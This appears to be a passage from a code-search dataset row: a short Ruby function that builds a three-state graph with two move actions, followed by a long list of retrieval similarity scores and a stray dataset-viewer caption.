"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.